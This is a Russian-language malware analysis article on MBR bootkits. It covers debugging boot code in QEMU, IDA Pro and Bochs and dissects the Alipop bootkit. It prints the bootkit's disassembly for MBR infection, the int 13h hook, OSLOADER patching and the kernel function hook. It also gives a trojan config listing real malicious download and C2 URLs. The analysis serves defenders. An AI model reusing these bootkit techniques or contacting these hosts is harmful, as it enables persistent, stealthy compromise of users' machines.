В этой статье речь пойдет о буткитах — вредоносных программах, получающих управление до начала загрузки операционной системы посредством инфицирования главной загрузочной записи жесткого диска (MBR).
Первый вредоносный буткит, известный под именами Sinowal и Mebroot, появился в 2007 году, и представлял собой на тот момент заметную инновацию. Затем последовало затишье: в течение трех лет технология заражения MBR практически не использовалась разработчиками вредоносного кода, несмотря на её привлекательность: антивирусы всегда плохо справлялись даже с хорошо изученным буткитом Sinowal, не говоря уже о технологии заражения MBR в целом.
И вот, относительно недавно свет увидели несколько новых вредоносных программ класса «буткит». Это знаковое событие, указывающее на то, что практика применения буткит-техник во вредоносных программах не закончится одиночными образцами, а, возможно, приобретёт более массовый характер.
Данная статья представляет собой, в первую очередь, обзор новых семейств буткитов. Особое внимание будет уделено принципам функционирования загрузочного кода, так как данный вопрос освещался только в докладе о концептуальной технологии eEye BootRoot от 2005 года.
Технические средства для анализа буткитов
Код буткита невозможно анализировать при помощи обычных отладчиков режима ядра, так как он начинает исполнятся на самом раннем этапе работы системы, а именно после того, как BIOS передаёт управление загрузочному сектору. Поэтому для отладки загрузочного кода могут быть использованы лишь виртуальные машины с возможностью отладки исполняемого кода. На данный момент необходимыми возможностями обладают виртуальные машины QEMU и Bochs. Рассмотрим каждую из этих программ подробнее.
1. Отладка при помощи QEMU
QEMU — свободно распространяемая программа с открытым исходным кодом. Её возможности включают в себя эмуляцию процессоров с архитектурой x86, x86-64 и многих других, а также устройств ввода-вывода. Поддерживается отладка эмулируемого кода с помощью отладчика GDB, что подробно описано в документации к QEMU.
Использование GDB в связке с QEMU
По мнению автора статьи, вместо GDB удобнее использовать отладчик, встроенный в дизассемблер IDA Pro, начиная с версии 5.4. Процесс настройки отладчика и виртуальной машины подробно описан в документации к IDA Pro. Остановимся на некоторых особенностях, касающихся отладки загрузочного кода.
После подключения отладчика к виртуальной машине и инициализации сессии необходимо установить аппаратную точку останова на адрес 0000:7C00h, с которого начинает исполняться загрузочный код. Для этого перейдем на вкладку «Breakpoints» и в контекстном меню выберем пункт «Insert...»:
Добавление новой точки останова в IDA Pro
После добавления точки останова исполнение кода можно продолжить (F9).
Заметим, что для отладки 16-битного кода необходимо вручную отредактировать настройки сегмента после того, как сработает точка останова. Для этого откроем пункт главного меню «Edit» → «Segments» → «Edit Segment...» и установим 16-разрядный режим адресации для текущего сегмента:
Настройки сегмента в IDA Pro
После этого можно перейти в окно анализа кода и исследовать код загрузочного сектора.
Отладка загрузочного кода в IDA Pro
2. Отладка при помощи Bochs
Bochs — свободно распространяемая система, возможности которой включают в себя эмуляцию процессоров архитектуры x86/x86-64 и устройств ввода-вывода.
Данная система отличается высокой точностью эмуляции, так как интерпретирует каждую инструкцию виртуального процессора. Однако по той же причине Bochs заметно проигрывает с точки зрения производительности не только популярным виртуальным машинам, таким как VMware или VirtualBox, но и вышеописанному эмулятору QEMU. Поэтому перед запуском Bochs целесообразно иметь уже готовый образ жесткого диска с установленной операционной системой. Такой образ можно создать с помощью QEMU.
Отладчик Bochs представляет собой отдельное приложение bochsdbg.exe, при запуске которого отображается диалоговое окно, позволяющее изменить настройки виртуальной машины, восстановить или сохранить её конфигурацию.
Окно запуска Bochs
После запуска виртуальной машины открывается консоль отладчика с аскетичным, но достаточным для работы набором команд, список которых доступен по команде «help». Для установки точки останова на начало загрузочного кода достаточно набрать «lb 0x7c00» и затем «c» для продолжения исполнения кода.
Отладка кода в Bochs
Анализ новых буткитов
Backdoor.Win32.Trup.a (Alipop)
Буткит Alipop появился примерно в мае 2010 года. Он имеет китайское происхождение, о чем свидетельствуют рекламные всплывающие окна и AdWare на китайском языке.
Самозащита
Троян не применяет никаких техник для обхода проактивных защит, однако код большинства его процедур защищён от анализа при помощи старой, но достаточно эффективной техники. Её суть заключается в том, что ряд полезных инструкций процессора маскируется внутри более длинной цепочки опкодов, которая целиком расшифровывается дизассемблером как ложная инструкция.
.text:0040546D call FindFirstFileA .text:00405473 cmp eax, 0FFFFFFFFh .text:00405476 jz short loc_405492 .text:00405478 jz near ptr loc_405484+1 .text:0040547E jnz near ptr loc_405484+1 .text:00405484 .text:00405484 loc_405484: .text:00405484 call near ptr 4248F1h .text:00405489 add bh, bh .text:0040548B adc eax, offset Sleep .text:00405490 jmp short loc_40545F
В действительности вышеприведенный код исполняется в следующем виде:
.text:0040546D call FindFirstFileA .text:00405473 cmp eax, 0FFFFFFFFh .text:00405476 jz short loc_405492 .text:00405478 jz loc_405485 .text:0040547E jnz loc_405485 .text:0040547E; --------------------------------------------------------------------------- .text:00405484 db 0E8h .text:00405485; --------------------------------------------------------------------------- .text:00405485 .text:00405485 loc_405485: .text:00405485 push 1F4h .text:0040548A call Sleep .text:00405490 jmp short loc_40545F
Как видно из листинга, пятибайтовая инструкция call по адресу 00405484 не несёт полезной нагрузки, поскольку предшествующие ей переходы всегда передают управление по адресу 00405485, где на самом деле находится инструкция push. Использование данного приёма затрудняет анализ кода в дизассемблере IDA, а его декомпиляция с помощью HexRays оказывается невозможной без предварительной обработки кода.
Инсталлятор
Инсталлятор буткита представляет собой исполняемый файл размером около 24 кБ (MD5: 3f5cff08b83a0a9ad5f8e0973b77a2ac), внутри которого содержатся все остальные компоненты буткита.
При запуске инсталлятора создается и запускается файл C:\WINDOWS\ali.exe (MD5: 570e6e5c1d0c95c5a446f6f62fa90468, размер около 17 кБ), который содержит в себе основной рабочий код трояна.
Для обеспечения автозагрузки инсталлятор записывает код буткита в первые 40 секторов жесткого диска:
"CreateFile", "\Device\Harddisk0\DR0", "Desired Access: Generic Read/Write, Disposition: Open" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 0, Length: 20,480, I/O Flags: Non-cached" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 0, Length: 20,480, I/O Flags: Non-cached" "CloseFile", "\Device\Harddisk0\DR0"
Инфицированная MBR
Код буткита вызывается при следующей перезагрузке системы.
Загрузочный код
Загрузочный код буткита, во-первых, резервирует 20 кБ базовой памяти. Для этого он уменьшает значение объёма базовой памяти в соответствующей переменной BIOS по адресу 0040h:0013h. В зарезервированную область с помощью функции 2 прерывания 13h считываются компоненты буткита из первых 40 секторов жесткого диска, после чего управление передается прочитанному коду.
seg000:001F pushad seg000:0021 push ds seg000:0022 mov bx, word ptr cs:0413h seg000:0027 sub bx, 14h; Резервирование 20 кБ памяти seg000:002B and bl, 0FCh seg000:002E mov word ptr cs:0413h, bx seg000:0033 shl bx, 6; Вычисление линейного адреса зарезервированного региона seg000:0036 mov es, bx seg000:0038 xor bx, bx seg000:003A mov ax, 228h; Считывание первых 40 секторов seg000:003D mov cx, 1 seg000:0040 mov dx, 80h seg000:0043 int 13h seg000:0045 push es seg000:0046 push 4Ah; Передача управления прочитанному коду по смещению 4Ah seg000:0049 retf
Прочитанные код и данные, начиная со смещения 83h, зашифрованы с помощью обратимой операции ROR, и далее происходит их расшифровка. После расшифровки буткит устанавливает перехват прерывания 13h BIOS, что позволяет осуществлять контроль за операциями чтения с диска на начальных этапах загрузки системы. Наконец, происходит вызов оригинального загрузчика ОС, сохранённого инсталлятором буткита в секторе 39.
seg000:0083 mov eax, dword ptr es:004Сh seg000:0088 mov dword ptr cs:00F3h, eax; Сохранение оригинального обработчика int 13h seg000:008D and dword ptr es:004Сh, 0 seg000:0097 or word ptr es:004Сh, 0E6h; Установка нового адреса обработчика seg000:009E mov word ptr es:004Eh, cs ; Установка нового селектора обработчика seg000:00A3 xor ebx, ebx seg000:00A6 mov bx, cs seg000:00A8 shl ebx, 4
... seg000:00C5 mov di, 7C00h seg000:00C8 push cs seg000:00C9 pop ds seg000:00CA mov si, 4C00h; Копирование оригинального загрузочного сектора на 7C00h seg000:00CD mov cx, 200h seg000:00D0 cld seg000:00D1 rep movsb seg000:00D3 pop ds seg000:00D4 popad seg000:00D6 lss sp, dword ptr es:0602h; Восстановление sp seg000:00DC mov es, word ptr es:0600h ; Восстановление es seg000:00E1 jmp far ptr 0:7C00h ; Переход к исполнению оригинального загрузочного кода
Перехват прерывания 13h устанавливается с целью модификации кода модуля OSLOADER.EXE, представляющего собой часть модуля NTLDR, при его чтении с системного раздела. Задача осуществляемой модификации — передача управления на код буткита, исполняемый в защищённом режиме: именно в этом режиме исполняется OSLOADER.EXE.
Код OSLOADER.EXE, подлежащий модификации, ищется по сигнатуре в буфере со считанными в результате отработки прерывания данными:
seg000:0120 mov di, bx; di - указатель на буфер с данными seg000:0122 mov al, 8Bh; первый байт сигнатуры seg000:0124 cld seg000:0125 seg000:0125 loc_125: seg000:0125 repne scasb seg000:0127 jnz short loc_159 seg000:0129 cmp dword ptr es:[di], 74F685F0h; 2-5 байты сигнатуры seg000:0131 jnz short loc_125 seg000:0133 cmp word ptr es:[di+4], 8021h; 6-7 байты сигнатуры seg000:0139 jnz short loc_125 seg000:013B push es seg000:013C xor eax, eax seg000:013F mov es, ax seg000:0141 mov ax, cs seg000:0143 shl eax, 4 seg000:0147 add eax, 200h seg000:014D pop es seg000:014E mov word ptr es:[di-1], 15FFh; Запись инструкции call dword ptr [addr] seg000:0154 mov es:[di+1], eax
Искомый код OSLOADER представляет собой следующий набор инструкций:
.text:00422B77 call _BlLoadBootDrivers@12 .text:00422B7C mov esi, eax .text:00422B7E test esi, esi .text:00422B80 jz short loc_422BA3 .text:00422B82 .text:00422B82 loc_422B82: .text:00422B82 cmp _BlRebootSystem, 0 .text:00422B89 jz short loc_422B92
Приведенный фрагмент относится к функции _BlOsLoader@12(). Модифицируемые буткитом байты непосредственно следуют за вызовом функции _BlLoadBootDrivers@12(). Эта функция загружает в память драйверы системных сервисов, имеющих тип запуска SERVICE_BOOT_START. Код модификации представляет собой инструкцию call, которая передаёт управление резидентному коду буткита, находящемуся в зарезервированной базовой памяти по смещению 200h. Таким образом, код буткита получит управление в тот момент, когда процессор будет находится в 32-битном защищённом режиме.
Код защищённого режима
Код буткита защищённого режима начинает своё исполнение с получения адреса загрузки ядра. Этот адрес извлекается из первой записи списка загруженных модулей, представляющей собой структуру типа LDR_DATA_TABLE_ENTRY. Указатель на список загруженных модулей может быть получен из глобальной переменной _BlLoaderBlock модуля OSLOADER.EXE. В частности, переменная _BlLoaderBlock содержит указатель на структуру _LOADER_PARAMETER_BLOCK, копия которого используется как локальная переменная в коде функции _BlAllocateDataTableEntry@16(). Для поиска этого участка кода буткит также использует сигнатуру.
Кроме того, виртуальный адрес памяти, по которому загружается NTLDR и другие системные модули, извлекается из локальной переменной KdDllBase, к которой модифицированная функция _BlOsLoader@12() обращается по фиксированному смещению от ebp:
seg001:00000206 mov edi, [esp+24h]; edi - значение переменной KdDllBase seg001:0000020A and edi, 0FFF00000h seg001:00000210 cld seg001:00000211 mov al, 0C7h; Первый байт сигнатуры для поиска _BlLoaderBlock seg001:00000213 loc_213: seg001:00000213 scasb seg001:00000214 jnz short loc_213 seg001:00000216 cmp dword ptr [edi], 40003446h; Остальные 4-е байта сигнатуры seg001:0000021C jnz short loc_213 seg001:0000021E mov al, 0A1h seg001:00000220 loc_220: seg001:00000220 scasb seg001:00000221 jnz short loc_220 seg001:00000223 mov esi, [edi] ; esi - указатель на список загруженных модулей seg001:00000225 mov esi, [esi] ; esi - указатель на первую _LDR_DATA_TABLE_ENTRY seg001:00000227 lodsd seg001:00000228 mov ebx, [eax+18h]; ebx - адрес загрузки ядра seg001:0000022B call sub_267
В процедуре sub_267 выполняется перехват функции ядра nt!IoGetCurrentProcess() таким образом, что бы при её вызове управление получал код буткита следующего, третьего этапа, которому необходимо исполняться в 32-разрядном защищённом режиме после инициализации ядра операционной системы.
seg001:00000267 pop esi; Получаем адрес кода буткита по адресу возврата seg001:00000268 mov ecx, 37h seg001:0000026D mov [esi+2B6h], ebx seg001:00000273 lea edi, [ebx+40h] seg001:00000276 mov ebp, edi seg001:00000278 rep movsb ; Копируем код буткита по смещению 0x230-0x267 в заголовок образа ядра поверх DOS stub seg001:0000027A push 0CE8C3177h seg001:0000027F call GetProcByHash; Получаем адрес IoGetCurrentProcess по хэшу от имени seg001:00000284 xchg eax, esi seg001:00000285 sub edi, 0Ah seg001:0000028B movsd; Сохраняем первые 5 байт функции seg001:0000028C sub edi, 6 seg001:00000292 movsb seg001:00000293 mov byte ptr [esi-5], 0E8h seg001:00000297 sub ebp, esi seg001:00000299 mov [esi-4], ebp; Модификация IoGetCurrentProcess вызовом по адресу nt+0x40
Обычно, первый вызов функции nt!IoGetCurrentProcess() происходит по завершению инициализации ядра с помощью функции nt!Phase1Initialization():
kd> kb ChildEBP RetAddr Args to Child f9dc35f0 80688d7e 8198c338 8008ecb8 8008ecb8 nt+0x40 f9dc3630 8068ac22 8198c3ec 8008ecb8 0000000c nt!IopInitializeBuiltinDriver+0x260 f9dc3694 80687b48 80082000 f9dc36b0 00034000 nt!IopInitializeBootDrivers+0x2d2 f9dc383c 80685fdd 80082000 00000000 819cc538 nt!IoInitSystem+0x712 f9dc3dac 805c6160 80082000 00000000 00000000 nt!Phase1Initialization+0x9b5 f9dc3ddc 80541dd2 80685628 80082000 00000000 nt!PspSystemThreadStartup+0x34 00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16
kd> u nt!IoGetCurrentProcess nt!IoGetCurrentProcess: 804ee608 e8338afeff call [COLOR="Red"]nt+0x40 (804d7040)[/COLOR] 804ee60d 008b4044c3cc add byte ptr [ebx-333CBBC0h],cl 804ee613 cc int 3 804ee614 cc int 3 804ee615 cc int 3 804ee616 cc int 3 804ee617 cc int 3
Код, выполняемый после инициализации ядра
Обработчик перехвата nt!IoGetCurrentProcess() выполняет восстановление оригинального кода функции, после чего вызывает nt!PsCreateSystemThread() для запуска системного потока, который выполняет код «полезной нагрузки» буткита. Код «полезной нагрузки» делает следующее:
1. Создаёт в ключе реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run строковый параметр со значением «C:\WINDOWS\ali.exe», обеспечивая запуск троянского процесса по завершению загрузки системы.
2. Создаёт файл C:\WINDOWS\ali.exe, содержимое которого на этапе инсталляции буткита в систему записывается инсталлятором, начиная с сектора 4 жесткого диска.
3. Устанавливает шлюз вызова в GDT, благодаря которому любой код пользовательского режима получает возможность исполнения произвольных инструкций с наивысшими привилегиями.
Шлюз вызова в GDT («чёрный ход»)
Таким образом, разработчики буткита Alipop отказались от традиционной техники использования драйвера режима ядра, предпочтя использование процесса пользовательского режима — более простую и менее скрытную технику. Возможно также, что данный буткит разрабатывался в качестве универсального средства для запуска произвольных вредоносных программ из загрузочного сектора.
Троянский процесс
Основная задача процесса ali.exe — получение с сервера команд на скачивание и запуск других вредоносных программ. При этом для отправки HTTP-запросов используется процесс браузера Internet Explorer, запускаемый со скрытым окном.
Троянский процесс Запрос файла конфигурации с сервера
Зашифрованный файл конфигурации трояна загружается с сервера по фиксированному адресу http://list.577q.com/sms/xxx.ini и сохраняется в каталоге C:\WINDOWS под именем win.ini.
Пример содержимого файла конфигурации:
[DownLoad] exe1=coopen_setup_100201.exe-8.0|http://download.coopen.cn/setup/v5/coopen_setup_100201.exe exe2=pptv(pplive)jixian_113459_s.exe-1.0|http://60.173.10.28:4321/pptv(pplive)jixian_113459_s.exe [ad] ad1=12 [HomePage] home=http://www.67ku.com [Time] DownLoadIniTime=120 PopAdTime=2 DownLoadLelayTime=1 RunDelayTime=0 FirstRunExeTime=2 FirstPopWidTime=1 cjver=2 cjaddr= [Link] Link1=|http://66.79.168.187:55325/tuling.html
Троян Alipop, хотя и использует технику заражения загрузочного сектора, может быть легко обнаружен и удален, так как в нём отсутствуют механизмы сокрытия вредоносной активности. Не предусмотрен в нем и защитный механизм восстановления загрузочного сектора буткита при попытке его перезаписи. Благодаря всему этому возможно излечить зараженную систему путем ручного восстановления загрузочной записи с помощью любого шестнадцатеричного дискового редактора (например, WinHex).
• Author: Дмитрий Олексюк
Продолжение следует ...
|